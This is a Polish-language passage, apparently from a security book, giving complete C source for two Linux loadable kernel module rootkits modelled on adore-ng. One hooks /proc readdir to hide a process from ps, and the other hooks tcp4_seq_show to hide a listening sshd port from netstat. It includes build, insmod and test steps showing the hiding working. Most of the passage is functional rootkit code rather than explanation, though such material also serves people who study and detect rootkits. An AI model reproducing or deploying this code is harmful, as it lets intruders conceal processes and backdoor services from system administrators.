readdir_t orig_proc_readdir=NULL;
filldir_t proc_filldir = NULL;

/*Konwertujemy string na integer. Usuwamy znaki nienależące do integer. Autorstwa adore-ng*/

int adore_atoi(const char *str)
{
        int ret = 0, mul = 1;
        const char *ptr;
        for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
                ;
        ptr--;
        while (ptr >= str) {
                if (*ptr < '0' || *ptr > '9')
                        break;
                ret += (*ptr - '0') * mul;
                mul *= 10;
                ptr--;
        }
        return ret;
}

int my_proc_filldir (void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
        /*Jeśli nazwa odpowiada naszemu PID, zwracamy 0. Dzięki temu
         nasz PID nie jest widoczny*/
        if(adore_atoi(name)==HIDEPID)
        {
                return 0;
        }
        /*W przeciwnym razie wywołujemy oryginalną filldir*/
        return proc_filldir(buf, name, nlen, off, ino, x);
}

int my_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
{
        int r=0;

        proc_filldir = filldir;

        /*Wywołujemy orig_proc_readdir z my_proc_filldir*/
        r=orig_proc_readdir(fp,buf,my_proc_filldir);

        return r;
}
```

```
int hide_pid(readdir_t *orig_readdir, readdir_t new_readdir)
{
        struct file *filep;

        /*otwieramy /proc  */
        if((filep = filp_open("/proc",O_RDONLY,O))==NULL)
        {
                return -1;
        }
        /*zapamiętujemy readdir katalogu /proc*/
        if(orig_readdir)
                *orig_readdir = filep->f_op->readdir;

        /*ustawiamy readdir katalogu /proc na new_readdir*/
        filep->f_op->readdir=new_readdir;

        filp_close(filep,0);

        return 0;
}

/*przywracamy readdir katalogu /proc*/
int restore (readdir_t orig_readdir)
{
        struct file *filep;

        /*otwieramy /proc  */
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) {
                return -1;
        }

        /*przywracamy readdir katalogu /proc*/
        filep->f_op->readdir = orig_readdir;

        filp_close(filep, 0);

        return 0;
}

static int __init myinit(void)
{
        hide_pid(&orig_proc_readdir,my_proc_readdir);

        return 0;
}

static void myexit(void)
{
        restore(orig_proc_readdir);
}

module_init(myinit);
module_exit(myexit);

MODULE_LICENSE("GPL");
```

Kompilacja i test hidepid

Posłużymy się plikiem makefile zawierającym wpis:

```
obj-m += hidepid.o
```

Do skompilowania programu posłuży polecenie:

```
[nieroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
```

Przetestujemy moduł, wyświetlając najpierw poleceniem `ps` proces `sleep`, który uprzednio zainicjalizowaliśmy:

```
[nieroot]$ ps a | grep 4781
4781 tty1  S      0:00 sleep 999999
6545 tty1  R      0:00 grep 4781
```

Załadujemy moduł:

```
[root]# insmod ./hidepid.ko
```

Teraz proces `sleep` jest niewidoczny:

```
[nieroot]$ ps a | grep 4781
6545 tty1  R      0:00 grep 4781
```

Po zakończeniu prób należy usunąć moduł z jądra:

```
[root]# rmmod hidepid
```

Ukrywanie połączeń przed narzędziem netstat

Polecenie `netstat` pozwala wyświetlić listę usług sieciowych uruchomionych aktualnie w hoście:

```
[nieroot]$ netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address   Foreign Address  State
tcp        0      0 0.0.0.0:22      0.0.0.0:*        LISTEN
udp        0      0 0.0.0.0:68      0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags     Type    State      I-Node Path
unix  2      [ ACC ]   STREAM  LISTENING  2085   /dev/gpmctl
unix  6      [ ]       DGRAM              1886   /dev/log
unix  2      [ ]       DGRAM              2153
unix  2      [ ]       DGRAM              2088
unix  2      [ ]       DGRAM              2046
unix  2      [ ]       DGRAM              1894
```

Rootkit Adore pozwala ukryć wybrany zestaw usług nasłuchujących połączeń przed programem `netstat`. Odbywa się to przez zmianę za pomocą wyeksportowanej struktury `proc_net` funkcji obsługi `tcp4_seq_show()`, która jest wywoływana przez jądro, gdy `netstat` odpytuje o nasłuchujące połączenia. W funkcji `hacked_tcp4_seq_show()` w programie *hide_sshd.c* funkcja `strnstr()` służy do szukania w `seq->buf` podciągu zawierającego postać szesnastkową portu, który ma zostać ukryty. W razie znalezienia łańcuch ten jest usuwany.

hide_sshd.c

Oto pełny kod źródłowy naszego ładowalnego modułu jądra `hide_sshd`:

```
/*Podziękowania dla adore-ng ze Stealth za pomysły użyte w tym kodzie*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/init.h>
#include <net/tcp.h>
```

```
/*z net/ipv4/tcp_ipv4.c*/
#define TMPSZ 150


/*ukrywamy sshd*/
#define PORT_TO_HIDE 22

MODULE_LICENSE("GPL");

int (*old_tcp4_seq_show)(struct seq_file*, void *) = NULL;

char *strnstr(const char *haystack, const char *needle, size_t n)
{
        char *s = strstr(haystack, needle);
        if (s == NULL)
                return NULL;
        if (s-haystack+strlen(needle) <= n)
                return s;
        else
                return NULL;
}

int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
{
        int retval=old_tcp4_seq_show(seq, v);

        char port[12];

        sprintf(port,"%04X",PORT_TO_HIDE);

        if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ))
                seq->count -= TMPSZ;
        return retval;
}

static int __init myinit(void)
{
        struct tcp_seq_afinfo *my_afinfo = NULL;
        struct proc_dir_entry *my_dir_entry = proc_net->subdir;

        while (strcmp(my_dir_entry->name, "tcp"))
                my_dir_entry = my_dir_entry->next;

        if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
        {
                old_tcp4_seq_show = my_afinfo->seq_show;
                my_afinfo->seq_show = hacked_tcp4_seq_show;
        }


        return 0;
}

static void myexit(void)
{
        struct tcp_seq_afinfo *my_afinfo = NULL;
        struct proc_dir_entry *my_dir_entry = proc_net->subdir;

        while (strcmp(my_dir_entry->name, "tcp"))
                my_dir_entry = my_dir_entry->next;
```

```
        if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
        {
                my_afinfo->seq_show=old_tcp4_seq_show;
        }

}

module_init(myinit);
module_exit(myexit);
```

Kompilacja i test hide_sshd

W kodzie źródłowym *hide_sshd.c* przyjęto założenie, że próbujemy ukryć obecność demona `sshd` uruchomionego w hoście. Aby ukryć inną usługę, należy zmienić wartość `PORT_TO_HIDE`. Na potrzeby przykładu zakładamy, że w hoście jest uruchomiony `sshd`. Możemy to sprawdzić poleceniem `netstat`:

```
[nieroot]$ netstat -na | grep 22
tcp     0     0.0.0.0:22    0.0.0.0:*    LISTEN
```

Posłużymy się plikiem makefile zawierającym:

```
obj-m += hide_sshd.o
```

Do kompilacji użyjemy następującego polecenia `make`:

```
[nieroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
```

Załadujemy moduł:

```
[root]# insmod ./hide_sshd.ko
```

Teraz demon `sshd` będzie niewidoczny (ponownie użyjemy polecenia `netstat`):

```
[nieroot]# netstat -na | grep 22
```

Po zakończeniu prób należy usunąć moduł z jądra:

```
[root]# rmmod hide_sshd
```